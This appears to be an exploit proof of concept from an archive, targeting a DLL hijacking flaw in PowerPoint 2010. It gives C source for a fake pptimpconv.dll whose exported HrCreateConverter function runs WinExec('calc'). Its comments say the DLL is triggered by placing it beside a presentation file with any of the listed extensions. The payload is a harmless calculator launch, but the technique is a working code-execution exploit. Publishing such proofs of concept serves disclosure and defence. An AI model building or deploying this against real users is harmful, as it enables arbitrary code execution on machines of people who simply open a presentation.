Power Point 2010

所属类别 pptimpconv.dll

pptimpconv.c
/* Compile and rename to pptimpconv.dll
create a file in the same dir with one of the following extensions:
.odp/.pot/.potm/.potx/.ppa/.pps/.ppsm/.ppsx/.ppt/.pptm/.pptx/.pwz/.sldm/.sldx
This exploit does _not_ get triggered with the following file extensions:
.pothtml/.ppam/.ppthtml/.pptxml/.thmx */
#include 
#define DLLIMPORT __declspec (dllexport)
DLLIMPORT void HrCreateConverter() { evil(); }
int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}